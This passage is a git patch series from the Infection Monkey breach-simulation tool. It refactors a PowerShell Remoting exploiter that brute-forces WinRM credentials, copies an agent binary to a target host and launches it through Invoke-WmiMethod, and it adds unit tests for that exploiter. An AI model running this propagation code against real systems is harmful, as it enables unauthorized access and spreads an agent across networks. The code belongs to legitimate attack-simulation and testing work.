a/monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py +++ /dev/null @@ -1,24 +0,0 @@ -from typing import List - -from infection_monkey.exploit.powershell_utils.auth_options import ( - AUTH_BASIC, - AUTH_NEGOTIATE, - ENCRYPTION_AUTO, - ENCRYPTION_NEVER, - AuthOptions, -) -from infection_monkey.exploit.powershell_utils.credentials import Credentials - - -def get_auth_options(credentials: List[Credentials], use_ssl: bool) -> List[AuthOptions]: - auth_options = [] - - for creds in credentials: - # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER - ssl = False if creds.password == "" else use_ssl - auth_type = AUTH_BASIC if creds.password == "" else AUTH_NEGOTIATE - encryption = ENCRYPTION_NEVER if creds.password == "" else ENCRYPTION_AUTO - - auth_options.append(AuthOptions(auth_type, encryption, ssl)) - - return auth_options diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options_generators.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py similarity index 96% rename from monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options_generators.py rename to monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py index 7a040d7c8..0a917adac 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options_generators.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py @@ -4,8 +4,8 @@ from infection_monkey.exploit.powershell_utils.auth_options import ( AUTH_NEGOTIATE, ENCRYPTION_AUTO, ENCRYPTION_NEVER, + get_auth_options, ) -from infection_monkey.exploit.powershell_utils.auth_options_generators import get_auth_options from infection_monkey.exploit.powershell_utils.credentials import Credentials CREDENTIALS = [ From e6399de860a79cd9ceffc23614ca364243909e12 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Sep 2021 13:36:36 -0400 Subject: [PATCH 06/13] Agent: Move get_credentials() to credentials.py --- monkey/infection_monkey/exploit/powershell.py | 3 +- .../powershell_utils/credential_generators.py | 41 ------------------- .../exploit/powershell_utils/credentials.py | 40 +++++++++++++++++- ...tial_generators.py => test_credentials.py} | 3 +- 4 files changed, 41 insertions(+), 46 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/powershell_utils/credential_generators.py rename monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/{test_credential_generators.py => test_credentials.py} (93%) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 1765eaa6e..6361165c1 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -19,8 +19,7 @@ from infection_monkey.exploit.powershell_utils.auth_options import ( AuthOptions, get_auth_options, ) -from infection_monkey.exploit.powershell_utils.credential_generators import get_credentials -from infection_monkey.exploit.powershell_utils.credentials import Credentials +from infection_monkey.exploit.powershell_utils.credentials import Credentials, get_credentials from infection_monkey.exploit.powershell_utils.utils import ( IClient, get_client_based_on_auth_options, diff --git a/monkey/infection_monkey/exploit/powershell_utils/credential_generators.py b/monkey/infection_monkey/exploit/powershell_utils/credential_generators.py deleted file mode 100644 index 79840a800..000000000 --- a/monkey/infection_monkey/exploit/powershell_utils/credential_generators.py +++ /dev/null @@ -1,41 +0,0 @@ -from itertools import product -from typing import List - -from infection_monkey.exploit.powershell_utils.credentials import Credentials - - -def get_credentials( - usernames: List[str], passwords: List[str], is_windows: bool -) -> List[Credentials]: - credentials = [] - credentials.extend(_get_empty_credentials(is_windows)) - credentials.extend(_get_username_only_credentials(usernames, is_windows)) - credentials.extend(_get_username_password_credentials(usernames, passwords)) - - return credentials - - -def _get_empty_credentials(is_windows: bool) -> List[Credentials]: - if is_windows: - return [Credentials(username=None, password=None)] - - return [] - - -def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[Credentials]: - credentials = [Credentials(username=username, password="") for username in usernames] - - if is_windows: - credentials.extend( - [Credentials(username=username, password=None) for username in usernames] - ) - - return credentials - - -def _get_username_password_credentials( - usernames: List[str], passwords: List[str] -) -> List[Credentials]: - username_password_pairs = product(usernames, passwords) - - return [Credentials(credentials[0], credentials[1]) for credentials in username_password_pairs] diff --git a/monkey/infection_monkey/exploit/powershell_utils/credentials.py b/monkey/infection_monkey/exploit/powershell_utils/credentials.py index 1a11b3f18..3d09498d7 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/credentials.py +++ b/monkey/infection_monkey/exploit/powershell_utils/credentials.py @@ -1,8 +1,46 @@ from dataclasses import dataclass -from typing import Union +from itertools import product +from typing import List, Union @dataclass class Credentials: username: Union[str, None] password: Union[str, None] + + +def get_credentials( + usernames: List[str], passwords: List[str], is_windows: bool +) -> List[Credentials]: + credentials = [] + credentials.extend(_get_empty_credentials(is_windows)) + credentials.extend(_get_username_only_credentials(usernames, is_windows)) + credentials.extend(_get_username_password_credentials(usernames, passwords)) + + return credentials + + +def _get_empty_credentials(is_windows: bool) -> List[Credentials]: + if is_windows: + return [Credentials(username=None, password=None)] + + return [] + + +def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[Credentials]: + credentials = [Credentials(username=username, password="") for username in usernames] + + if is_windows: + credentials.extend( + [Credentials(username=username, password=None) for username in usernames] + ) + + return credentials + + +def _get_username_password_credentials( + usernames: List[str], passwords: List[str] +) -> List[Credentials]: + username_password_pairs = product(usernames, passwords) + + return [Credentials(credentials[0], credentials[1]) for credentials in username_password_pairs] diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credential_generators.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py similarity index 93% rename from monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credential_generators.py rename to monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py index 7c41827ab..f1913169c 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credential_generators.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py @@ -1,5 +1,4 @@ -from infection_monkey.exploit.powershell_utils.credential_generators import get_credentials -from infection_monkey.exploit.powershell_utils.credentials import Credentials +from infection_monkey.exploit.powershell_utils.credentials import Credentials, get_credentials TEST_USERNAMES = ["user1", "user2"] TEST_PASSWORDS = ["p1", "p2"] From d30a8b007a8c7aac60b93d7fb5abb0f47bb9004c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Sep 2021 13:48:13 -0400 Subject: [PATCH 07/13] Agent: Add comment explaining user/password == None in PowerShell --- .../infection_monkey/exploit/powershell_utils/credentials.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/exploit/powershell_utils/credentials.py b/monkey/infection_monkey/exploit/powershell_utils/credentials.py index 3d09498d7..a04d9f395 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/credentials.py +++ b/monkey/infection_monkey/exploit/powershell_utils/credentials.py @@ -20,6 +20,8 @@ def get_credentials( return credentials +# On Windows systems, when username == None and password == None, the current user's credentials +# will be used to attempt to log into the victim. def _get_empty_credentials(is_windows: bool) -> List[Credentials]: if is_windows: return [Credentials(username=None, password=None)] @@ -27,6 +29,8 @@ def _get_empty_credentials(is_windows: bool) -> List[Credentials]: return [] +# On Windows systems, when password == None, the current user's password will bu used to attempt to +# log into the victim. def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[Credentials]: credentials = [Credentials(username=username, password="") for username in usernames] From 61c6bf2567c7879a7760886bda0daf319c7750ec Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Sep 2021 13:52:55 -0400 Subject: [PATCH 08/13] Agent: Reduce code duplication in _try_http(s)() methods --- monkey/infection_monkey/exploit/powershell.py | 18 +++++++----------- 1 file changed, 7 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 6361165c1..26d01be8e 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -94,27 +94,23 @@ class PowerShellExploiter(HostExploiter): raise PowerShellRemotingDisabledError("Powershell remoting seems to be disabled.") def _try_http(self): - credentials = Credentials( - username=self._config.exploit_user_list[0], - password=self._config.exploit_password_list[0], - ) - auth_options = AuthOptions( - auth_type=AUTH_NEGOTIATE, - encryption=ENCRYPTION_AUTO, - ssl=False, - ) - self._authenticate(credentials, auth_options) + self._try_ssl_login(self, use_ssl=False) def _try_https(self): + self._try_ssl_login(self, use_ssl=True) + + def _try_ssl_login(self, use_ssl: bool): credentials = Credentials( username=self._config.exploit_user_list[0], password=self._config.exploit_password_list[0], ) + auth_options = AuthOptions( auth_type=AUTH_NEGOTIATE, encryption=ENCRYPTION_AUTO, - ssl=True, + ssl=use_ssl, ) + self._authenticate(credentials, auth_options) def _authenticate_via_brute_force( From c9e54412c05f9f21e9b4d169e08e19e6ba710491 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Sep 2021 13:53:45 -0400 Subject: [PATCH 09/13] Agent: Use dummy username and password when testing PowerShell HTTP The exploit_user_list and exploit_password_list are not guaranteed to have at least one entry. If either list is empty the exploiter will fail. Use constant strings for the username and password to avoid potentially crashing the exploiter. --- monkey/infection_monkey/exploit/powershell.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 26d01be8e..ab35d71e0 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -101,8 +101,8 @@ class PowerShellExploiter(HostExploiter): def _try_ssl_login(self, use_ssl: bool): credentials = Credentials( - username=self._config.exploit_user_list[0], - password=self._config.exploit_password_list[0], + username="dummy_username", + password="dummy_password", ) auth_options = AuthOptions( From a5af16e44ef87d61b1aaea82132a5215b009179e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Sep 2021 16:51:21 -0400 Subject: [PATCH 10/13] Agent: Extract PowerShellClient from PowerShellExploiter --- monkey/infection_monkey/exploit/powershell.py | 113 ++++++------------ .../powershell_utils/powershell_client.py | 99 +++++++++++++++ .../exploit/powershell_utils/utils.py | 28 ----- 3 files changed, 137 insertions(+), 103 deletions(-) create mode 100644 monkey/infection_monkey/exploit/powershell_utils/powershell_client.py diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index ab35d71e0..c9835566e 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -1,16 +1,10 @@ import logging import os -from typing import Optional, Union - -import pypsrp -import spnego -from pypsrp.exceptions import AuthenticationError -from pypsrp.powershell import PowerShell, RunspacePool -from urllib3 import connectionpool +from typing import List, Optional import infection_monkey.monkeyfs as monkeyfs from common.utils.exploit_enum import ExploitType -from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 +from infection_monkey.exploit.consts import WIN_ARCH_32 from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.powershell_utils import utils from infection_monkey.exploit.powershell_utils.auth_options import ( @@ -20,15 +14,16 @@ from infection_monkey.exploit.powershell_utils.auth_options import ( get_auth_options, ) from infection_monkey.exploit.powershell_utils.credentials import Credentials, get_credentials -from infection_monkey.exploit.powershell_utils.utils import ( - IClient, - get_client_based_on_auth_options, +from infection_monkey.exploit.powershell_utils.powershell_client import ( + AuthenticationError, + IPowerShellClient, + PowerShellClient, ) from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os -from infection_monkey.model import GET_ARCH_WINDOWS, VictimHost +from infection_monkey.model import VictimHost from infection_monkey.utils.environment import is_windows_os -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin" @@ -43,17 +38,8 @@ class PowerShellExploiter(HostExploiter): _EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)" def __init__(self, host: VictimHost): - PowerShellExploiter._set_sensitive_packages_log_level_to_error() - super().__init__(host) - self.client = None - - @staticmethod - def _set_sensitive_packages_log_level_to_error(): - # If root logger is inherited, extensive and potentially sensitive info could be logged - sensitive_packages = [pypsrp, spnego, connectionpool] - for package in sensitive_packages: - logging.getLogger(package.__name__).setLevel(logging.ERROR) + self._client = None def _exploit_host(self): try: @@ -67,8 +53,8 @@ class PowerShellExploiter(HostExploiter): ) auth_options = get_auth_options(credentials, is_https) - self.client = self._authenticate_via_brute_force(credentials, auth_options) - if not self.client: + self._client = self._authenticate_via_brute_force(credentials, auth_options) + if not self._client: return False return self._execute_monkey_agent_on_victim() @@ -94,10 +80,10 @@ class PowerShellExploiter(HostExploiter): raise PowerShellRemotingDisabledError("Powershell remoting seems to be disabled.") def _try_http(self): - self._try_ssl_login(self, use_ssl=False) + self._try_ssl_login(use_ssl=False) def _try_https(self): - self._try_ssl_login(self, use_ssl=True) + self._try_ssl_login(use_ssl=True) def _try_ssl_login(self, use_ssl: bool): credentials = Credentials( @@ -111,16 +97,16 @@ class PowerShellExploiter(HostExploiter): ssl=use_ssl, ) - self._authenticate(credentials, auth_options) + PowerShellClient(self.host.ip_addr, credentials, auth_options) def _authenticate_via_brute_force( - self, credentials: [Credentials], auth_options: [AuthOptions] - ) -> Optional[IClient]: + self, credentials: List[Credentials], auth_options: List[AuthOptions] + ) -> Optional[IPowerShellClient]: for (creds, opts) in zip(credentials, auth_options): try: - client = self._authenticate(creds, opts) + client = PowerShellClient(self.host.ip_addr, creds, opts) - LOG.info( + logger.info( f"Successfully logged into {self.host.ip_addr} using Powershell. User: " f"{creds.username}" ) @@ -128,7 +114,7 @@ class PowerShellExploiter(HostExploiter): return client except Exception as ex: # noqa: F841 - LOG.debug( + logger.debug( f"Error logging into {self.host.ip_addr} using Powershell. User: " f"{creds.username}, Error: {ex}" ) @@ -136,44 +122,38 @@ class PowerShellExploiter(HostExploiter): return None - def _authenticate(self, credentials: Credentials, auth_options: AuthOptions) -> IClient: - client = get_client_based_on_auth_options(self.host.ip_addr, credentials, auth_options) - - # attempt to execute dir command to know if authentication was successful - client.execute_cmd("dir") - - return client - def _execute_monkey_agent_on_victim(self) -> bool: - arch = self._get_host_arch() + arch = self._client.get_host_architecture() self.is_32bit = arch == WIN_ARCH_32 - - self._write_virtual_file_to_local_path() + logger.debug(f"Host architecture is {arch}") monkey_path_on_victim = ( self._config.dropper_target_path_win_32 if self.is_32bit else self._config.dropper_target_path_win_64 ) - is_monkey_copy_successful = self._copy_monkey_binary_to_victim(monkey_path_on_victim) + is_monkey_copy_successful = self._copy_monkey_binary_to_victim(monkey_path_on_victim) if is_monkey_copy_successful: + logger.info("Successfully copied the monkey binary to the victim.") self._run_monkey_executable_on_victim(monkey_path_on_victim) else: + logger.error("Failed to copy the monkey binary to the victim.") return False return True - def _get_host_arch(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]: - output = self._execute_cmd_on_host(GET_ARCH_WINDOWS) - if "64-bit" in output: - return WIN_ARCH_64 - else: - return WIN_ARCH_32 + def _copy_monkey_binary_to_victim(self, monkey_path_on_victim) -> bool: + self._write_virtual_file_to_local_path() - def _execute_cmd_on_host(self, cmd: str) -> str: - output, _, _ = self.client.execute_cmd(cmd) - return output + logger.info(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}") + is_monkey_copy_successful = self._client.copy_file( + TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim + ) + + os.remove(TEMP_MONKEY_BINARY_FILEPATH) + + return is_monkey_copy_successful def _write_virtual_file_to_local_path(self) -> None: monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit) @@ -182,30 +162,13 @@ class PowerShellExploiter(HostExploiter): with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file: monkey_local_file.write(monkey_virtual_file.read()) - def _copy_monkey_binary_to_victim(self, dest: str) -> bool: - LOG.debug(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}") - try: - self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, dest) - LOG.info(f"Successfully copied the monkey agent binary to {self.host.ip_addr}") - return True - except Exception as ex: - LOG.error(f"Failed to copy the monkey agent binary to {self.host.ip_addr}: {ex}") - return False - finally: - os.remove(TEMP_MONKEY_BINARY_FILEPATH) - def _run_monkey_executable_on_victim(self, executable_path) -> None: monkey_execution_command = utils.build_monkey_execution_command( self.host, get_monkey_depth() - 1, executable_path ) - LOG.debug( - f"Attempting to execute the monkey agent on remote host " - f'{self.host.ip_addr} with commmand "{monkey_execution_command}"' + logger.info( + f"Attempting to execute the monkey agent on remote host " f"{self.host.ip_addr}" ) - with self.client.wsman, RunspacePool(self.client.wsman) as pool: - ps = PowerShell(pool) - ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter( - "name", "create" - ).add_parameter("ArgumentList", monkey_execution_command) - ps.invoke() + + self._client.execute_cmd_as_detached_process(monkey_execution_command) diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py new file mode 100644 index 000000000..7f0b548b1 --- /dev/null +++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py @@ -0,0 +1,99 @@ +import abc +import logging +from typing import Union + +import pypsrp +import spnego +from pypsrp.client import Client +from pypsrp.exceptions import AuthenticationError # noqa: F401 +from pypsrp.powershell import PowerShell, RunspacePool +from typing_extensions import Protocol +from urllib3 import connectionpool + +from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 +from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.credentials import Credentials +from infection_monkey.model import GET_ARCH_WINDOWS + +logger = logging.getLogger(__name__) + +CONNECTION_TIMEOUT = 3 # Seconds + + +def _set_sensitive_packages_log_level_to_error(): + # If root logger is inherited, extensive and potentially sensitive info could be logged + sensitive_packages = [pypsrp, spnego, connectionpool] + for package in sensitive_packages: + logging.getLogger(package.__name__).setLevel(logging.ERROR) + + +class IPowerShellClient(Protocol, metaclass=abc.ABCMeta): + @abc.abstractmethod + def execute_cmd(self, cmd: str) -> str: + pass + + @abc.abstractmethod + def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]: + pass + + @abc.abstractmethod + def copy_file(self, src: str, dest: str) -> bool: + pass + + @abc.abstractmethod + def execute_cmd_as_detached_process(self, cmd: str): + pass + + +class PowerShellClient(IPowerShellClient): + def __init__(self, ip_addr, credentials: Credentials, auth_options: AuthOptions): + _set_sensitive_packages_log_level_to_error() + + self._ip_addr = ip_addr + self._client = Client( + ip_addr, + username=credentials.username, + password=credentials.password, + cert_validation=False, + auth=auth_options.auth_type, + encryption=auth_options.encryption, + ssl=auth_options.ssl, + connection_timeout=CONNECTION_TIMEOUT, + ) + + # attempt to execute dir command to know if authentication was successful + self.execute_cmd("dir") + + def execute_cmd(self, cmd: str) -> str: + output, _, _ = self._client.execute_cmd(cmd) + return output + + def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]: + output = self._client.execute_cmd(GET_ARCH_WINDOWS) + if "64-bit" in output: + return WIN_ARCH_64 + + return WIN_ARCH_32 + + def copy_file(self, src: str, dest: str) -> bool: + try: + self._client.copy(src, dest) + logger.debug(f"Successfully copied {src} to {dest} on {self._ip_addr}") + + return True + except Exception as ex: + logger.error(f"Failed to copy {src} to {dest} on {self._ip_addr}: {ex}") + + return False + + def execute_cmd_as_detached_process(self, cmd: str): + logger.debug( + f"Attempting to execute a command on the remote host as a detached process - " + f"Host: {self._ip_addr}, Command: {cmd}" + ) + with self._client.wsman, RunspacePool(self._client.wsman) as pool: + ps = PowerShell(pool) + ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter( + "name", "create" + ).add_parameter("ArgumentList", cmd) + ps.invoke() diff --git a/monkey/infection_monkey/exploit/powershell_utils/utils.py b/monkey/infection_monkey/exploit/powershell_utils/utils.py index 642394a62..4c0ab3dce 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/utils.py +++ b/monkey/infection_monkey/exploit/powershell_utils/utils.py @@ -1,8 +1,3 @@ -from pypsrp.client import Client -from typing_extensions import Protocol - -from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions -from infection_monkey.exploit.powershell_utils.credentials import Credentials from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost from infection_monkey.utils.commands import build_monkey_commandline @@ -20,26 +15,3 @@ def build_monkey_execution_command(host: VictimHost, depth: int, executable_path "monkey_type": DROPPER_ARG, "parameters": monkey_params, } - - -CONNECTION_TIMEOUT = 3 # Seconds - - -class IClient(Protocol): - def execute_cmd(self, cmd: str): - pass - - -def get_client_based_on_auth_options( - ip_addr: str, credentials: Credentials, auth_options: AuthOptions -) -> IClient: - return Client( - ip_addr, - username=credentials.username, - password=credentials.password, - cert_validation=False, - auth=auth_options.auth_type, - encryption=auth_options.encryption, - ssl=auth_options.ssl, - connection_timeout=CONNECTION_TIMEOUT, - ) From 8144a3334e241b662d90c0d19db71c370eceed67 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Sep 2021 10:05:08 -0400 Subject: [PATCH 11/13] Tests: Add HTTP vs HTPS unit tests for PowerShellExploiter --- .../exploit/test_powershell.py | 68 +++++++++++++++++++ 1 file changed, 68 insertions(+) create mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py new file mode 100644 index 000000000..b889e7385 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -0,0 +1,68 @@ +from collections import namedtuple +from unittest.mock import MagicMock + +import pytest + +from infection_monkey.exploit import powershell +from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.credentials import Credentials +from infection_monkey.model.host import VictimHost + +USER_LIST = ["user1", "user2"] +PASSWORD_LIST = ["pass1", "pass2"] + +Config = namedtuple("Config", ["exploit_user_list", "exploit_password_list"]) + + +class TestAuthenticationError(Exception): + pass + + +@pytest.fixture +def powershell_exploiter(monkeypatch): + host = VictimHost("127.0.0.1") + pe = powershell.PowerShellExploiter(host) + pe._config = Config(USER_LIST, PASSWORD_LIST) + + monkeypatch.setattr(powershell, "AuthenticationError", TestAuthenticationError) + + return pe + + +def test_powershell_disabled(monkeypatch, powershell_exploiter): + mock_powershell_client = MagicMock(side_effect=Exception) + monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + + success = powershell_exploiter.exploit_host() + assert not success + + +def test_powershell_http(monkeypatch, powershell_exploiter): + def allow_http(_, credentials: Credentials, auth_options: AuthOptions): + if not auth_options.ssl: + raise TestAuthenticationError + else: + raise Exception + + mock_powershell_client = MagicMock(side_effect=allow_http) + monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + powershell_exploiter.exploit_host() + + for call_args in mock_powershell_client.call_args_list: + assert not call_args[0][2].ssl + + +def test_powershell_https(monkeypatch, powershell_exploiter): + def allow_https(_, credentials: Credentials, auth_options: AuthOptions): + if auth_options.ssl: + raise TestAuthenticationError + else: + raise Exception + + mock_powershell_client = MagicMock(side_effect=allow_https) + monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + powershell_exploiter.exploit_host() + + for call_args in mock_powershell_client.call_args_list: + if call_args[0][1].password != "" and call_args[0][1].password != "dummy_password": + assert call_args[0][2].ssl From 936074605ff26a02022d81a64c68c1160d89bf1f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Sep 2021 11:52:35 -0400 Subject: [PATCH 12/13] Agent: Ensure temp file is removed by PowerShellExploiter --- monkey/infection_monkey/exploit/powershell.py | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index c9835566e..9e3d3d5dc 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -144,14 +144,18 @@ class PowerShellExploiter(HostExploiter): return True def _copy_monkey_binary_to_victim(self, monkey_path_on_victim) -> bool: - self._write_virtual_file_to_local_path() + try: + self._write_virtual_file_to_local_path() - logger.info(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}") - is_monkey_copy_successful = self._client.copy_file( - TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim - ) - - os.remove(TEMP_MONKEY_BINARY_FILEPATH) + logger.info(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}") + is_monkey_copy_successful = self._client.copy_file( + TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim + ) + except Exception as ex: + raise ex + finally: + if os.path.isfile(TEMP_MONKEY_BINARY_FILEPATH): + os.remove(TEMP_MONKEY_BINARY_FILEPATH) return is_monkey_copy_successful From 023d6a2d044d7b62ede142353656974e2dc44ab4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Sep 2021 11:54:22 -0400 Subject: [PATCH 13/13] Tests: Add more tests for PowerShellExploiter --- .../exploit/test_powershell.py | 79 ++++++++++++++++++- 1 file changed, 77 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index b889e7385..3d14d2d67 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -4,14 +4,25 @@ from unittest.mock import MagicMock import pytest from infection_monkey.exploit import powershell +from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions from infection_monkey.exploit.powershell_utils.credentials import Credentials from infection_monkey.model.host import VictimHost USER_LIST = ["user1", "user2"] PASSWORD_LIST = ["pass1", "pass2"] +DROPPER_TARGET_PATH_32 = "C:\\agent32" +DROPPER_TARGET_PATH_64 = "C:\\agent64" -Config = namedtuple("Config", ["exploit_user_list", "exploit_password_list"]) +Config = namedtuple( + "Config", + [ + "exploit_user_list", + "exploit_password_list", + "dropper_target_path_win_32", + "dropper_target_path_win_64", + ], +) class TestAuthenticationError(Exception): @@ -22,9 +33,12 @@ class TestAuthenticationError(Exception): def powershell_exploiter(monkeypatch): host = VictimHost("127.0.0.1") pe = powershell.PowerShellExploiter(host) - pe._config = Config(USER_LIST, PASSWORD_LIST) + pe._config = Config(USER_LIST, PASSWORD_LIST, DROPPER_TARGET_PATH_32, DROPPER_TARGET_PATH_64) monkeypatch.setattr(powershell, "AuthenticationError", TestAuthenticationError) + # It's regrettable to mock out a private method on the PowerShellExploiter instance object, but + # it's necessary to avoid having to deal with the monkeyfs + monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None) return pe @@ -66,3 +80,64 @@ def test_powershell_https(monkeypatch, powershell_exploiter): for call_args in mock_powershell_client.call_args_list: if call_args[0][1].password != "" and call_args[0][1].password != "dummy_password": assert call_args[0][2].ssl + + +def test_no_valid_credentials(monkeypatch, powershell_exploiter): + mock_powershell_client = MagicMock(side_effect=TestAuthenticationError) + monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + + success = powershell_exploiter.exploit_host() + assert not success + + +def authenticate(mock_client): + def inner(_, credentials: Credentials, auth_options: AuthOptions): + if credentials.username == "user1" and credentials.password == "pass2": + return mock_client + else: + raise TestAuthenticationError("Invalid credentials") + + return inner + + +@pytest.mark.parametrize( + "dropper_target_path,arch", + [(DROPPER_TARGET_PATH_32, WIN_ARCH_32), (DROPPER_TARGET_PATH_64, WIN_ARCH_64)], +) +def test_successful_copy(monkeypatch, powershell_exploiter, dropper_target_path, arch): + mock_client = MagicMock() + mock_client.get_host_architecture = lambda: arch + mock_client.copy_file = MagicMock(return_value=True) + + mock_powershell_client = MagicMock(side_effect=authenticate(mock_client)) + monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + + success = powershell_exploiter.exploit_host() + + assert dropper_target_path in mock_client.copy_file.call_args[0][1] + assert success + + +def test_failed_copy(monkeypatch, powershell_exploiter): + mock_client = MagicMock() + mock_client.get_host_architecture = lambda: WIN_ARCH_32 + mock_client.copy_file = MagicMock(return_value=False) + + mock_powershell_client = MagicMock(side_effect=authenticate(mock_client)) + monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + + success = powershell_exploiter.exploit_host() + assert not success + + +def test_failed_monkey_execution(monkeypatch, powershell_exploiter): + mock_client = MagicMock() + mock_client.get_host_architecture = lambda: WIN_ARCH_32 + mock_client.copy_file = MagicMock(return_value=True) + mock_client.execute_cmd_as_detached_process = MagicMock(side_effect=Exception) + + mock_powershell_client = MagicMock(side_effect=authenticate(mock_client)) + monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + + success = powershell_exploiter.exploit_host() + assert not success